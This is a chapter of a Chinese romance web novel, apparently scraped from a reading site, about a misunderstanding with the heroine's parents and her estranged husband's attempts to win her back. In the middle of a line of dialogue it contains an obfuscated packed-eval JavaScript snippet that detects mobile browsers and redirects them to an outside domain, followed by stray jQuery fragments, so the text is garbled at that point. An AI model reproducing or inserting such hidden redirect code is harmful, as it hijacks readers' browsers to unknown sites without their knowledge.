4. 家长见面误会生

作品:《误嫁前夫

    秦宝仪立即逃回马车上,马蹄有节奏的哒哒踏地,几口粗气喘出,她终于如释重负的平静下来。


    却又不得已发愁,这“面首”要去哪里找呢……


    拐进小巷,她步履沉重的下车,颓在院内的石凳上。


    大门砰的一声被撞开,秦父秦母冲了进来,两人视线如刀剑反光射扫她的全身。


    秦母见爱女完好无损,却满面愁容,急声问道:“宝仪,我的孩儿,没想到这长公主就如此迫不及待的为难你”


    眼里有泪光闪闪,秦母用帕子拭去,颤抖着手拢着她“受了什么委屈尽管说啊,我就是拼了命……”


    秦宝仪连忙打断,她可不想二老为她豁出去,温声道:“公主她没有为难我,只是让我找个面首”。


    不过自然要隐去长公主那番惊世骇俗的言语,毕竟任谁只要一想到自己的漂亮女儿的头颅会被行事无端,心肠狠辣的公主放在府中日日欣赏……


    怕是会夜夜惊醒,不得安宁。


    秦宝仪光顾着安慰二老,完全没有发现此等言语也是足够给人惊吓。


    等反应过来时,看见二老欲言又止的神情,秦宝仪故作镇定道:“面首这个……”


    秦母把她拢地更紧:“女儿,既然公主让他做面首,那就让他安心服侍公主吧,男人嘛,受点委屈不算啥。”


    秦宝仪大感不对,但是既然误会了,那还是误会到底吧,总比被问出真正的原因让母亲担忧的好。


    秦父右手抱拳放在左边咳嗽,秦母皱眉剜了他一眼并未理会。


    “既然只需要让他跟着公主就能不为难你,那你可千万不要为了什么女人的脸面就对抗她。”


    秦父咳嗽越发猛烈。


    “女人嘛,就大度一点,你要是实在在意,就在外面找一个知心之人常常照看就好,反正不要委屈了自己。”


    秦父脸红扑扑的,似乎没招可使无奈仰头望天。


    秦母看不过眼正要说上两句,一道清越的男声传来:“岳母,不知何时小婿要去做公主的面首伺候她了。”


    秦母如遭雷劈,刚还喋喋不休的嘴张了又张,终是没吐出一个字。


    气氛尴尬凝滞,四人相处无言,还是最后秦父鼓起勇气打破这诡异的平静,右手扶上钱渊的肩膀,又觉硌手复又松开,心念这孩子怎么这么瘦。


    “一切都是误会,对了,贤婿这是从何处回来的。”


    钱渊低眉顺从道:“东宫。”


    二老心中颤颤,糟糕,光顾着女儿会不会受委屈,忘了这太子当时也是请旨求娶女儿的,就算太子贤名在外,也难保不会为难这个便宜女婿啊。


    正想如何措辞维系这女儿这段逃不掉又躲不开的婚姻,没想到这清俊秀气的少年干净利落地撩袍跪在他们面前。


    神情认真,言语恳切道:“承蒙天神恩泽,让小婿有幸可以和宝仪成亲成为眷侣,小婿定不负天神嘱托,二老期盼,定当全心全意守护宝仪,此生仅此有宝仪一人相知相伴,万不会让宝仪受半点委屈。”


    秦母惊的松开了秦宝仪,秦父秦母对视皆看出了对方眼中的惊喜,原本他们也听说此人当众拒绝长公主的事。


    皆觉这是个性情刚直的人,估计对这强加的婚约会有所抗拒,会亏欠女儿,不过见此情况,这便宜女婿倒是对女儿死心塌地。


    一时不知是女儿魅力过大征服了此人,还是阴差阳错的天作之合。


    此等言之凿凿的誓言倒真觉得白捡了个好女婿,不过秦父还是矜持道:“钱渊,这承诺可不仅要说出来,更要做下去才算成立。”


    钱渊眼眸轻抬,掷地有声:“天地可鉴,若我钱渊有半点对不起秦宝仪的地方定千刀万剐碎尸万端。”


    秦父亲母无言,若这个痴心女婿真能按照承诺永不负爱女,那他们自是欣慰。


    秦宝仪透过二老的背影缝隙看向跪在地上,神情认真严肃的翩翩郎君,两人视线相触。


    不知为何,她心下悸动,她清楚自己是一个对待爱情反应迟钝的人,就像他们二人热恋时那样,询问对方何时动心。


    她玩笑猜测会是青春期时的萌动,但完全没想到的是幼时的一见钟情,她就那样定定望着他含笑的双眼,情感如那缠绵的蛛丝,只要她触碰到了,便就无路可逃。


    被尘封多年的情感记忆被回想起时,竟然总是能找到让她触动不已的瞬间,星星点点,灿烂耀眼。


    喉中酸涩,她佯装不觉,吐出一口气道:“我知道了,起来吧,我相信你不会负我,我也不会负你的。”


    钱渊脸上瞬间迸发出光亮,让人不敢直视,秦父亲母含笑点头,福祸相依,虽然这是一门猝不及防的亲事,但只要夫妻皆有心,那这便是一门稳稳妥妥的好姻缘。


    秦父秦母合力扶起这个令人满意的儿郎,秦母拿起钱渊的手和宝仪的手使之交叠,宝仪抬眸与之对视,情意绵绵互相交织。


    秦母道:“既如此,那你们二人便携手过好自己的日子,我们也不便打扰了。”


    离开时,秦母笑呵呵道:“如此,妾便放心了,今日回府我们过上两招松松筋骨,再让小厮买些酒楼的饭菜,我们二人庆祝一番。”


    秦父揽着秦母,缓缓点头:“好,一切皆听夫人的。”


    可当秦父秦母的身影离开了那道门,秦宝仪没好气的翻了个白眼,甩开了那只骨节分明的手,接着就转身回房。


    钱渊心里一跳,喉中苦涩,不过他还是立即跟上了秦宝仪的步伐,双手环着她的腰,轻声耳语道:“刚才我说的句句属实,绝对不是为了在岳父岳母面前做样子的。”


    秦宝仪将他的手掰开道:“钱渊,这不是你的老套路吗,当时你的父亲不同意我们之间的婚事,你也是像今天这样向我发誓绝不会委屈了我。”


    “后来呢,还不是第二天就拍拍屁股一走了之。”


    秦宝仪轻侧头看到他那落寞的神情,说不上畅快,更说不上愉悦,她疾步上前砰的一声关紧了房门,也将窗户放下隔绝了房间和院子。


    钱渊看着窗后的影子越来越小,直至不见,肺腑抽了抽,难以呼吸。


    他抬头望天好让自己舒服些,就这样盯着这个盛开的合欢树发呆。


    一个个团绒粉花挂在上面迎风而动,忽然一阵清风猛烈吹来,漫天的粉红伴着沙沙声远走,他的体温也随着指尖流失,一朵团绒偏轻飘飘的落在了他的耳间,钱渊不知,回过神来想起今日去买的酥酪还放在马车里。


    钱渊连忙跑到马车钻了进去,竹编的食盒还安安静静的放在那里,他伸手打开,酥酪里面的冰已经化成了水,闻着还有少许酸味。


    他喃喃道:“原来今天这么热,冰化的也如此之快。”


    他将盒子盖上,随即解开了车辕飞身上马,很快就又到了酒楼,他火急火燎的冲上前问道:“还有酥酪吗?”


    伙计眼睛弯了弯笑道:“大人真是幸运,本店还剩下两份酥酪,以往酥酪早一个时辰就卖完了。”


    钱渊将银钱放在了桌上,提着食盒扬鞭迅速回到了家中。


    他提着食盒心中忐忑难安,深呼吸后轻手敲门道:“宝仪,我刚去买了酥酪回来,今天这么热,吃一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239405|181887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下这个消消暑可好?”


    室内,秦宝仪困得想睡个回笼觉,可心烦意乱的怎么都入不了眠,听见这个“始作俑者”的声音气不打一处来,顿时下床哗啦一声打开了门,准备再泄泄火气。


    门前,钱渊耳边的合欢花乖巧的在旁为他增添颜色,微乱的发尾,瞬间亮起的眼睛,一个晶莹的汗珠此时恰巧从他的鼻尖滑落,还有扑面而来独属于他的气息。


    他在干什么?美人计还是苦肉计?


    秦宝仪暗中掐着自己的大腿才保持住冷色,她硬声道:“有什么事。”


    钱渊双手将食盒捧到她的面前,笑意盈盈道:“我刚买回来的酥酪,是从京城味道最好的酒楼买的,趁着冰没化,快尝尝吧。”


    秦宝仪此时也才听清门外的蝉鸣聒噪不已,弄的她更加烦躁,急需降温。


    她伸手道:“拿来吧。”


    钱渊将食盒的把手放到她的掌心里,借机完全包裹住秦宝仪的手,可怜兮兮道:“好热,刚刚顶着大太阳骑马,现在都有点头晕目眩的。”


    秦宝仪刚想揭穿他的小把戏,不料,他还真脚步虚浮,有上前倒的趋势,她连忙扶住他的肩道:“哼,进来吧。”


    钱渊暗中勾起了嘴角,脚步轻快的走到了桌子前打开了食盒,他将一盘酥酪拿出来放在秦宝仪的面前。


    秦宝仪也不客气,拿起小勺子一口借着一口吃了起来,香甜的牛乳伴着花香立即滑进了她的咽喉,冰凉清爽驱散了暑气。


    钱渊坐在凳子上,看着宝仪像花栗鼠一样吃着酥酪,心软成一团,恨不得上前好好揉一揉她头发。


    酥酪已吃了大半,秦宝仪舒畅不已才舍得给钱渊分去眼神,见他撑着手含情脉脉的看着自己,手臂一阵酥麻,酥酪好像不似刚才那样香甜了。


    她放下了碗,钱渊问道:“怎么不吃了?”,秦宝仪刚想说你在这里抑制我食欲,但见他的面色因热而红,鬓边的头发紧贴在他的面颊。


    秦宝仪鬼使神差的将另外一碗酥酪放在了他的面前道:“吃。”


    言罢,她就后悔,可恶,刚才她一定是中了他的计,怎么轻易就对他消了气,真是好手段啊钱渊。


    秦宝仪心里天人交战,面上却不显只是一味的闷头苦吃。


    钱渊笑了笑,拿起勺子很快就将酥酪吃的一干二净。


    此时秦宝仪的气也消得差不多了,困意袭来,她懒洋洋的躺在床上揉着肚子,钱渊见此轻柔地拉她的手臂使她坐起来,含笑道:“快起来吧,消消食再躺,不然可就要闹肚子了。”


    秦宝仪借此坐了起来,忽然长公主的话语在她的脑中翘起头来,她不由得叹气扼腕。


    钱渊觉奇怪问道:“发生了什么事,愁眉苦脸的。”


    秦宝仪道:“还不是因为长公主让我找面首的事。”


    钱渊心中吹过一阵寒风,他埋怨道:“听刚才岳母的话,难不成你真的可以狠下心让我进公主府。”


    郎君眼神幽幽,似羽毛飘入水中带起一阵涟漪,酥酥麻麻难以抵挡,秦宝仪全盘托出:“是今日长公主把我带去,让我为她找一个跑了的面首。”


    她的心里又转过弯来,不对!,她怎么一下子都说出来了。


    秦宝仪斜了一眼道:“当然狠得下心,若不是因为你,她又怎么会找我的麻烦,真倒霉。”,言罢,又丧丧的躺在床上。


    忽地,她道:“既然这样,你也去找胸前有莲花纹的男人去。”


    钱渊眉头拧紧,浑身一僵,莲花纹胎记,不正好就是在文书上记载的那个无名尸体身上唯一的特征吗。